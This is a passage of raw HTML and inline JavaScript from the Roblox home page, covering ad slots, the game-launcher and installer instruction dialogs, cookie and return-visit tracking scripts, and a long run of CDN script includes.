allowtransparency="true" frameborder="0" height="612" scrolling="no" data-src="" src="https://web.roblox.com/user-sponsorship/2" width="160" data-js-adtype="iframead" data-ad-slot="Roblox_MyHome_Left_160x600"></iframe> </div> <div id="HomeContainer" class="row home-container"> <div id="home-header" class="col-xs-12 home-header-container"> <div id="home-header-shimmer" class="home-header-shimmer"> <span class="placeholder shimmer shimmer-home-avatar"></span> <span class="shimmer-lines shimmer-home-user-info"><div class="placeholder shimmer-line"></div></span> </div> </div> <div id="people-list-container" people-list-container></div> <div id="place-list" class="place-list-container"></div> </div> <div id="Skyscraper-Abp-Right" class="abp abp-container right-abp"> <iframe name="Roblox_MyHome_Right_160x600" allowtransparency="true" frameborder="0" height="612" scrolling="no" data-src="" src="https://web.roblox.com/user-sponsorship/2" width="160" data-js-adtype="iframead" data-ad-slot="Roblox_MyHome_Right_160x600"></iframe> </div> </div> </div> <!--Bootstrap Footer React Component --> <footer class="container-footer" id="footer-container" data-is-giftcards-footer-enabled="True"> </footer></div> <div id="chat-container" class="chat chat-container" chat-base> </div> <div id="cookie-banner-wrapper" class="cookie-banner-wrapper"></div> <script type="text/javascript">function urchinTracker() {}</script> <script type="text/javascript"> if (typeof Roblox === "undefined") { Roblox = {}; } if (typeof Roblox.PlaceLauncher === "undefined") { Roblox.PlaceLauncher = {}; } var isRobloxIconEnabledForRetheme = "True"; var robloxIcon = isRobloxIconEnabledForRetheme === 'True' ? "<span class='icon-logo-r-95'></span>" : "<img src='https://images.rbxcdn.com/8e7879f99cfa7cc3b1fce74f8191be03.svg' width='90' height='90' alt='R'/>"; Roblox.PlaceLauncher.Resources = { RefactorEnabled: "True", IsProtocolHandlerBaseUrlParamEnabled: "False", ProtocolHandlerAreYouInstalled: { play: { content: robloxIcon + "<p>You&#39;re moments away from getting into the experience!</p>", buttonText: "Download and Install Roblox", footerContent: "<a href='https://assetgame.roblox.com/game/help'class= 'text-name small' target='_blank' >Click here for help</a> " }, studio: { content: "<img src='https://images.rbxcdn.com/f25e4cadae29ae9a57a962126b2d2e2a.png' width='95' height='95' alt='R' /><p>Get started creating your own experiences!</p>", buttonText: "Download Studio" } }, ProtocolHandlerStartingDialog: { play: { content: robloxIcon + "<p>Roblox is now loading. Get ready!</p>" }, studio: { content: "<img src='https://images.rbxcdn.com/f25e4cadae29ae9a57a962126b2d2e2a.png' width='95' height='95' alt='R' /><p>Checking for Roblox Studio...</p>" }, loader: "<span class='spinner spinner-default'></span>" } }; </script> <div id="PlaceLauncherStatusPanel" style="display:none;width:300px" data-new-plugin-events-enabled="True" data-event-stream-for-plugin-enabled="True" data-event-stream-for-protocol-enabled="True" data-is-game-launch-interface-enabled="False" data-is-protocol-handler-launch-enabled="True" data-is-duar-auto-opt-in-enabled="false" data-is-duar-opt-out-disabled="false" data-is-user-logged-in="True" data-os-name="Unknown" data-protocol-name-for-client="roblox-player" data-protocol-name-for-studio="roblox-studio" data-protocol-roblox-locale="en_us" data-protocol-game-locale="en_us" data-protocol-url-includes-launchtime="true" data-protocol-detection-enabled="true" data-protocol-separate-script-parameters-enabled="true" data-protocol-avatar-parameter-enabled="true" data-protocol-channel-name="LIVE" data-protocol-studio-channel-name="" data-protocol-player-channel-name=""> <div class="modalPopup blueAndWhite PlaceLauncherModal" style="min-height: 160px"> <div id="Spinner" class="Spinner" style="padding:20px 0;"> <img data-delaysrc="https://images.rbxcdn.com/e998fb4c03e8c2e30792f2f3436e9416.gif" height="32" width="32" alt="Progress" /> </div> <div id="status" style="min-height:40px;text-align:center;margin:5px 20px"> <div id="Starting" class="PlaceLauncherStatus MadStatusStarting" style="display:block"> Starting Roblox... </div> <div id="Waiting" class="PlaceLauncherStatus MadStatusField">Connecting to People...</div> <div id="StatusBackBuffer" class="PlaceLauncherStatus PlaceLauncherStatusBackBuffer MadStatusBackBuffer"></div> </div> <div style="text-align:center;margin-top:1em"> <input type="button" class="Button CancelPlaceLauncherButton translate" value="Cancel" /> </div> </div> </div> <div id="ProtocolHandlerClickAlwaysAllowed" class="ph-clickalwaysallowed" style="display:none;"> <p class="larger-font-size"> <span class="icon-moreinfo"></span> Check <strong>Always open links for URL: Roblox Protocol</strong> and click <strong>Open URL: Roblox Protocol</strong> in the dialog box above to join experiences faster in the future! </p> </div> <script type="text/javascript"> function checkRobloxInstall() { window.location = 'https://web.roblox.com/unsupported?osx=10.5'; return false; } </script> <div id="InstallationInstructions" class="" style="display:none;"> <div class="ph-installinstructions"> <div class="ph-modal-header"> <span class="icon-close simplemodal-close"></span> <h3 class="title">Thanks for visiting Roblox</h3> </div> <div class="modal-content-container"> <div class="ph-installinstructions-body "> <ul class="modal-col-4"> <li class="step1-of-4"> <h2>1</h2> <p class="larger-font-size">Click <strong>RobloxPlayer.exe</strong> to run the Roblox installer, which just downloaded via your web browser.</p> <img data-delaysrc="https://images.rbxcdn.com/28eaa93b899b93461399aebf21c5346f.png" /> </li> <li class="step2-of-4"> <h2>2</h2> <p class="larger-font-size">Click <strong>Run</strong> when prompted by your computer to begin the installation process.</p> <img data-delaysrc="https://images.rbxcdn.com/51328932dedb5d8d61107272cc1a27db.png" /> </li> <li class="step3-of-4"> <h2>3</h2> <p class="larger-font-size">Click <strong>Ok</strong> once you've successfully installed Roblox.</p> <img data-delaysrc="https://images.rbxcdn.com/3797745629baca2d1b9496b76bc9e6dc.png" /> </li> <li class="step4-of-4"> <h2>4</h2> <p class="larger-font-size">After installation, click <strong>Join</strong> below to join the action!</p> <div class="VisitButton VisitButtonContinueGLI"> <a class="btn btn-primary-lg disabled btn-full-width">Join</a> </div> </li> </ul> </div> </div> <div class="xsmall"> The Roblox installer should download shortly. If it doesn’t, start the <a id="GameLaunchManualInstallLink" href="#" class="text-link">download now.</a> <script> if (Roblox.ProtocolHandlerClientInterface && typeof Roblox.ProtocolHandlerClientInterface.attachManualDownloadToLink === 'function') { Roblox.ProtocolHandlerClientInterface.attachManualDownloadToLink(); } </script> </div> </div> </div> <div class="InstallInstructionsImage" data-modalwidth="970" style="display:none;"></div> <div id="pluginObjDiv" style="height:1px;width:1px;visibility:hidden;position: absolute;top: 0;"></div> <iframe id="downloadInstallerIFrame" name="downloadInstallerIFrame" style="visibility:hidden;height:0;width:1px;position:absolute"></iframe> <script onerror='Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)' data-monitor='true' data-bundlename='clientinstaller' type='text/javascript' src='https://js.rbxcdn.com/459f4d69b0709806c7ee83714896739e.js'></script> <script type="text/javascript"> Roblox.Client._skip = '/unsupported'; Roblox.Client._CLSID = ''; Roblox.Client._installHost = ''; Roblox.Client.ImplementsProxy = false; Roblox.Client._silentModeEnabled = false; Roblox.Client._bringAppToFrontEnabled = false; Roblox.Client._currentPluginVersion = ''; Roblox.Client._eventStreamLoggingEnabled = false; Roblox.Client._installSuccess = function() { if(GoogleAnalyticsEvents){ GoogleAnalyticsEvents.ViewVirtual('InstallSuccess'); GoogleAnalyticsEvents.FireEvent(['Plugin','Install Success']); if (Roblox.Client._eventStreamLoggingEnabled && typeof Roblox.GamePlayEvents != "undefined") { Roblox.GamePlayEvents.SendInstallSuccess(Roblox.Client._launchMode, play_placeId); } } } if ((window.chrome || window.safari) && window.location.hash == '#chromeInstall') { window.location.hash = ''; var continuation = '(' + $.cookie('chromeInstall') + ')'; play_placeId = $.cookie('chromeInstallPlaceId'); Roblox.GamePlayEvents.lastContext = $.cookie('chromeInstallLaunchMode'); $.cookie('chromeInstallPlaceId', null); $.cookie('chromeInstallLaunchMode', null); $.cookie('chromeInstall', null); RobloxLaunch._GoogleAnalyticsCallback = function() { var isInsideRobloxIDE = 'website'; if (Roblox && Roblox.Client && Roblox.Client.isIDE && Roblox.Client.isIDE()) { isInsideRobloxIDE = 'Studio'; };GoogleAnalyticsEvents.FireEvent(['Plugin Location', 'Launch Attempt', isInsideRobloxIDE]);GoogleAnalyticsEvents.FireEvent(['Plugin', 'Launch Attempt', 'Play']);EventTracker.fireEvent('GameLaunchAttempt_Unknown', 'GameLaunchAttempt_Unknown_Plugin'); if (typeof Roblox.GamePlayEvents != 'undefined') { Roblox.GamePlayEvents.SendClientStartAttempt(null, play_placeId); } }; Roblox.Client.ResumeTimer(eval(continuation)); } </script> <div class="ConfirmationModal modalPopup unifiedModal smallModal" data-modal-handle="confirmation" style="display:none;"> <a class="genericmodal-close ImageButton closeBtnCircle_20h"></a> <div class="Title"></div> <div class="GenericModalBody"> <div class="TopBody"> <div class="ImageContainer roblox-item-image" data-image-size="small" data-no-overlays data-no-click> <img class="GenericModalImage" alt="generic image" /> </div> <div class="Message"></div> </div> <div class="ConfirmationModalButtonContainer GenericModalButtonContainer"> <a href id="roblox-confirm-btn"><span></span></a> <a href id="roblox-decline-btn"><span></span></a> </div> <div class="ConfirmationModalFooter"> </div> </div> <script type="text/javascript"> Roblox = Roblox || {}; Roblox.Resources = Roblox.Resources || {}; Roblox.Resources.GenericConfirmation = { yes: "Yes", No: "No", Confirm: "Confirm", Cancel: "Cancel" }; </script> </div> <div id="modal-confirmation" class="modal-confirmation" data-modal-type="confirmation"> <div id="modal-dialog" class="modal-dialog"> <div class="modal-content"> <div class="modal-header"> <button type="button" class="close" data-dismiss="modal"> <span aria-hidden="true"><span class="icon-close"></span></span><span class="sr-only">Close</span> </button> <h5 class="modal-title"></h5> </div> <div class="modal-body"> <div class="modal-top-body"> <div class="modal-message"></div> <div class="modal-image-container roblox-item-image" data-image-size="medium" data-no-overlays data-no-click> <img class="modal-thumb" alt="generic image"/> </div> <div class="modal-checkbox checkbox"> <input id="modal-checkbox-input" type="checkbox"/> <label for="modal-checkbox-input"></label> </div> </div> <div class="modal-btns"> <a href id="confirm-btn"><span></span></a> <a href id="decline-btn"><span></span></a> </div> <div class="loading modal-processing"> <img class="loading-default" src='https://images.rbxcdn.com/4bed93c91f909002b1f17f05c0ce13d1.gif' alt="Processing..." /> </div> </div> <div class="modal-footer text-footer"> </div> </div> </div> </div> <script type="text/javascript"> var Roblox = Roblox || {}; Roblox.jsConsoleEnabled = false; </script> <script type="text/javascript"> $(function () { Roblox.CookieUpgrader.domain = 'roblox.com'; Roblox.CookieUpgrader.upgrade("GuestData", { expires: Roblox.CookieUpgrader.thirtyYearsFromNow }); Roblox.CookieUpgrader.upgrade("RBXSource", { expires: function (cookie) { return Roblox.CookieUpgrader.getExpirationFromCookieValue("rbx_acquisition_time", cookie); } }); Roblox.CookieUpgrader.upgrade("RBXViralAcquisition", { expires: function (cookie) { return Roblox.CookieUpgrader.getExpirationFromCookieValue("time", cookie); } }); Roblox.CookieUpgrader.upgrade("RBXMarketing", { expires: Roblox.CookieUpgrader.thirtyYearsFromNow }); Roblox.CookieUpgrader.upgrade("RBXSessionTracker", { expires: Roblox.CookieUpgrader.fourHoursFromNow }); Roblox.CookieUpgrader.upgrade("RBXEventTrackerV2", {expires: Roblox.CookieUpgrader.thirtyYearsFromNow}); }); </script> <script onerror='Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)' data-monitor='true' data-bundlename='intl-polyfill' type='text/javascript' src='https://js.rbxcdn.com/d44520f7da5ec476cfb1704d91bab327.js'></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="InternationalCore" data-bundle-source="Main" src="https://js.rbxcdn.com/95044be3ff42e3dc429313faca1316cea62f328a39e29689ffeda9002f3a8bc6.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="TranslationResources" data-bundle-source="Main" src="https://js.rbxcdn.com/83d836a661ff433d5b7ce719c489e43af590ff75ab39ccc6d393546fe91b766a.js"></script> <script onerror='Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)' data-monitor='true' data-bundlename='leanbase' type='text/javascript' src='https://js.rbxcdn.com/eb57d3fa95908076a5cf9f4c8ff0b370.js'></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="CoreUtilities" data-bundle-source="Main" src="https://js.rbxcdn.com/277bc1c2c3f6867fac70a6561b87bbcc6a874a7274319303cdd87ada099bb07e.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="CoreRobloxUtilities" data-bundle-source="Main" src="https://js.rbxcdn.com/3dbdd710733380f428cd4fb7b4e08865b0f9083d1869c7d02478008e6b8c83d8.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="React" data-bundle-source="Main" src="https://js.rbxcdn.com/4c9a00164d9242bd60de5451a22f502c0c221a896d3a555470c03712d5ee4aa1.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="ReactUtilities" data-bundle-source="Main" src="https://js.rbxcdn.com/cf340fb618d9a73913b30dfc624ae60d68b9e59723746e6c08d06d14ebdd6dca.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="ReactStyleGuide" data-bundle-source="Main" src="https://js.rbxcdn.com/af52c4a40a3aaf48cc4d89fe1a4c501065780931599c83b5d88dce9e2235b2c7.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="ConfigureWebApps" data-bundle-source="Main" src="https://js.rbxcdn.com/c756de2b0f5f2f05d62899a3b602b4a3b573ad3faa1adea789291ebe9c66a002.js"></script> <script onerror='Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)' data-monitor='true' data-bundlename='angular' type='text/javascript' src='https://js.rbxcdn.com/ae3d621886e736e52c97008e085fa286.js'></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="AngularJsUtilities" data-bundle-source="Main" src="https://js.rbxcdn.com/13c5510094f3da7a61052d13bd7047595a2dc561903e9bd3b73c75308c0a2ba5.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="InternationalAngularJs" data-bundle-source="Main" src="https://js.rbxcdn.com/90f18784a43a70553e967191b948f70b0193df565f1605762c3c1e245ab4b55a.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="Thumbnails" data-bundle-source="Main" src="https://js.rbxcdn.com/8e523fb6013bf64fc1b8df80df34c48f04f2a3a9ee6f322580dc468f791382f4.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="PresenceStatus" data-bundle-source="Main" src="https://js.rbxcdn.com/bc21a1cb026cbbe9d57b77c1811f0925ca574a53a55a656c4ca4e216dda96eb3.js"></script> <div id="presence-registration-bootstrap-data" data-is-enabled="True" data-interval="15000"></div><script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="PresenceRegistration" data-bundle-source="Main" src="https://js.rbxcdn.com/0a83202cf5f2310227e607928f73a26cdaa7d5c27f892b99ef51ec3b863a694d.js"></script> <div ng-modules="baseTemplateApp"> <script type="text/javascript" src="https://js.rbxcdn.com/ffcc04436179c6b2a6668fdfcfbf62b1.js"></script> </div> <div ng-modules="pageTemplateApp"> <!-- Template bundle: page --> <script type="text/javascript"> "use strict"; angular.module("pageTemplateApp", []).run(['$templateCache', function($templateCache) { }]); </script> </div> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="VerificationUpsell" data-bundle-source="Main" src="https://js.rbxcdn.com/b7951210808a2deeaed3fc2396d452a3aa8ea40377d49458ddfebf527de87733.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.VerificationUpsell" data-bundle-source="Unknown" src="https://js.rbxcdn.com/7421fd2da54ca4a78a57c67db182a80d9c8443be91f42a625cb39a7c81b79027.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.VerificationUpsell" data-bundle-source="Unknown" src="https://js.rbxcdn.com/641a843404e3b03f9854c3f54c8002b665ded8adc06eb6aec342420bce1ab8de.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="Navigation" data-bundle-source="Main" src="https://js.rbxcdn.com/0fd90270bb6714eb342817d443bcf65b27369193ec3ca781004d3fd3adc6577c.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Common.AlertsAndOptions" data-bundle-source="Unknown" src="https://js.rbxcdn.com/03a64d3850925b52ee73bd27b41658f4a35a2b33b4a499fcb2ce72dcbd98020f.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Common.AlertsAndOptions" data-bundle-source="Unknown" src="https://js.rbxcdn.com/8f06fef33a61a6c67e1e6d93829b9bb03476bc976102d7bcebe4bfe85a3d4328.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.ShopDialog" data-bundle-source="Unknown" src="https://js.rbxcdn.com/95fdafe5af749e388de603b9ee7f67bb092c3c790badc572db4e2bca0c32b49a.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.ShopDialog" data-bundle-source="Unknown" src="https://js.rbxcdn.com/c0606e8d6eb4487cdc70d318e6de3d9aaeeb465ddb84acd95139011e56c5e5c6.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_CommonUI.Features" data-bundle-source="Unknown" src="https://js.rbxcdn.com/c629f6739d6903fec0d935d26a9cea02ff757856d4ed73a83fd1535affea0300.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_CommonUI.Features" data-bundle-source="Unknown" src="https://js.rbxcdn.com/5370e5e55fc9993ec53b0a4195e82290b8c1c5f95a1fb5cd11a2ec82d5d07809.js"></script> <script type='text/javascript'>Roblox.config.externalResources = [];Roblox.config.paths['Pages.Catalog'] = 'https://js.rbxcdn.com/109d883fe3988fca757e26e341ed0fe8.js';Roblox.config.paths['Pages.CatalogShared'] = 'https://js.rbxcdn.com/8680a449ea23b2b842200032b01e95ff.js';Roblox.config.paths['Widgets.AvatarImage'] = 'https://js.rbxcdn.com/7d49ac94271bd506077acc9d0130eebb.js';Roblox.config.paths['Widgets.DropdownMenu'] = 'https://js.rbxcdn.com/da553e6b77b3d79bec37441b5fb317e7.js';Roblox.config.paths['Widgets.HierarchicalDropdown'] = 'https://js.rbxcdn.com/4a0af9989732810851e9e12809aeb8ad.js';Roblox.config.paths['Widgets.ItemImage'] = 'https://js.rbxcdn.com/61a0490ba23afa17f9ecca2a079a6a57.js';Roblox.config.paths['Widgets.PlaceImage'] = 'https://js.rbxcdn.com/a6df74a754523e097cab747621643c98.js';</script> <script> $(function () { Roblox.DeveloperConsoleWarning.showWarning(); }); </script> <script type="text/javascript"> $(function(){ function trackReturns() { function dayDiff(d1, d2) { return Math.floor((d1-d2)/86400000); } if (!localStorage) { return false; } var cookieName = 'RBXReturn'; var cookieOptions = {expires:9001}; var cookieStr = localStorage.getItem(cookieName) || ""; var cookie = {}; try { cookie = JSON.parse(cookieStr); } catch (ex) { // busted cookie string from old previous version of the code } try { if (typeof cookie.ts === "undefined" || isNaN(new Date(cookie.ts))) { localStorage.setItem(cookieName, JSON.stringify({ ts: new Date().toDateString() })); return false; } } catch (ex) { return false; } var daysSinceFirstVisit = dayDiff(new Date(), new Date(cookie.ts)); if (daysSinceFirstVisit == 1 && typeof cookie.odr === "undefined") { RobloxEventManager.triggerEvent('rbx_evt_odr', {}); cookie.odr = 1; } if (daysSinceFirstVisit >= 1 && daysSinceFirstVisit <= 7 && typeof cookie.sdr === "undefined") { RobloxEventManager.triggerEvent('rbx_evt_sdr', {}); cookie.sdr = 1; } try { localStorage.setItem(cookieName, JSON.stringify(cookie)); } catch (ex) { return false; } } GoogleListener.init(); RobloxEventManager.initialize(true); RobloxEventManager.triggerEvent('rbx_evt_pageview'); trackReturns(); RobloxEventManager._idleInterval = 450000; RobloxEventManager.registerCookieStoreEvent('rbx_evt_initial_install_start'); RobloxEventManager.registerCookieStoreEvent('rbx_evt_ftp'); RobloxEventManager.registerCookieStoreEvent('rbx_evt_initial_install_success'); RobloxEventManager.registerCookieStoreEvent('rbx_evt_fmp'); RobloxEventManager.startMonitor(); }); </script> <script type="text/javascript"> var Roblox = Roblox || {}; Roblox.UpsellAdModal = Roblox.UpsellAdModal || {}; Roblox.UpsellAdModal.Resources = { title: "Remove Ads Like This", body: "Builders Club members do not see external ads like these.", accept: "Upgrade Now", decline: "No, thanks" }; </script> <script onerror='Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)' data-monitor='true' data-bundlename='page' type='text/javascript' src='https://js.rbxcdn.com/9f39cc574de0855309f6bed3deffeab6.js'></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="StyleGuide" data-bundle-source="Main" src="https://js.rbxcdn.com/f2eff5d5907e9e7096914e446e6931e95e3b153cb697d2a03bb4e7ac57d75ed3.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="Footer" data-bundle-source="Main" src="https://js.rbxcdn.com/9087469dcb3e5779877bc853e1811ca6ba672714189a863dee0937cc232f6610.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="CookieBannerV3" data-bundle-source="Main" src="https://js.rbxcdn.com/325e056e25bc4a167d0bd16463fc2c6683fb17cef494bee497990b8aec2f0995.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_CommonUI.Messages" data-bundle-source="Unknown" src="https://js.rbxcdn.com/24788915c418ec59b11f33dd230cd2e4f5d2742ce5d3c46ab843046a17db77b3.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_CommonUI.Messages" data-bundle-source="Unknown" src="https://js.rbxcdn.com/ba14ed88fc4950521528b0c841ff6374f9eee61c3797cde486dbe8b22d82a374.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.Tracking" data-bundle-source="Unknown" src="https://js.rbxcdn.com/ce6a4105a4d28cac59aa57a3d6615d56ba63526569ebfd88d49ac363d61caddb.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.Tracking" data-bundle-source="Unknown" src="https://js.rbxcdn.com/fb47e86d6d7deaf62c7c5c8a62d915361b3f9b47503976e24e4fdd44710a492e.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="AccountSecurityPrompt" data-bundle-source="Main" src="https://js.rbxcdn.com/40c0b7e1baf0cfa0371ffd9e2b1329268814d28707eeab79a993033997a37217.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.AccountSecurityPrompt" data-bundle-source="Unknown" src="https://js.rbxcdn.com/84ee2725d4b5b8f3f9d605a0c00fe0a4994aa095f5d2f1c8128bfec7eafc37bb.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.AccountSecurityPrompt" data-bundle-source="Unknown" src="https://js.rbxcdn.com/ce41398e0e57bcba5f90170698d194ab9860d48f749e0f4d4fb60a41f5a65f1e.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="PeopleList" data-bundle-source="Main" src="https://js.rbxcdn.com/267a01d0f08bd822bee9eec0da39e26ea17ccfa6f9c1b1b18bf411cd3f062264.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.PeopleList" data-bundle-source="Unknown" src="https://js.rbxcdn.com/85ed22a4ebb30dc7d2430167dc9ee0a29803bb069c9a47ae76ae20f1b756dc5e.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.PeopleList" data-bundle-source="Unknown" src="https://js.rbxcdn.com/9ca5f98bde05bf7b6909fff04495bf29745b2a47696a1ae7b9acaf370bd97783.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="AvatarShopHomepageRecommendations" data-bundle-source="Main" src="https://js.rbxcdn.com/463d2033a563f686961f77c3738067a1a78623c02bb7c1ec1e1908a26b9be4f0.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.Recommendations" data-bundle-source="Unknown" src="https://js.rbxcdn.com/e2f05beadd198ef90d466589ce5ef1f35686172806aa67f65ba579cbe0361826.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.Recommendations" data-bundle-source="Unknown" src="https://js.rbxcdn.com/005a844468bae021db544561dae001dece9547a29883d9b5bb76d86305f4624c.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.Catalog" data-bundle-source="Unknown" src="https://js.rbxcdn.com/9d5c3c6b657c0b67b8b8c4917f9546c34b51c38cc05cfadc33ae5d94c88027c0.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.Catalog" data-bundle-source="Unknown" src="https://js.rbxcdn.com/788f2e0626d89f5fafb69b42c3eca94d46d3ee897824f64546a77735a0eb160a.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="PlacesList" data-bundle-source="Main" src="https://js.rbxcdn.com/991b3791f88fe61223cade3db5ac0f3964eacbef5a8fbc5ff6378ad8a1a3c27e.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Common.GameSorts" data-bundle-source="Unknown" src="https://js.rbxcdn.com/89985c782b558e3cba56c4ea6dda1f9333b95422bc71a8654e6ece3e6672e496.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Common.GameSorts" data-bundle-source="Unknown" src="https://js.rbxcdn.com/05277631c7d21ceab8663956c8ccdd139c8c0334b73211f153afc1f0e5868d93.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.PlacesList" data-bundle-source="Unknown" src="https://js.rbxcdn.com/2098b97036dfed163bd7f9776ef20a9dd349e407ef7dcdbdd92eae4988efff63.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Feature.PlacesList" data-bundle-source="Unknown" src="https://js.rbxcdn.com/0b224051422dd2ae51d26ce95f84e7fb64ad4a5117a825da65daf5236df670af.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="FacebookSunsetModal" data-bundle-source="Main" src="https://js.rbxcdn.com/43f3b14b2546998af2a99a1bcbc3fe9203ccd3e45579e409ad0c9301fcaaea6c.js"></script> <script type="text/javascript" onerror="Roblox.BundleDetector && Roblox.BundleDetector.reportBundleError(this)" data-monitor="true" data-bundlename="DynamicLocalizationResourceScript_Authentication.SignUp" data-bundle-source="Unknown" 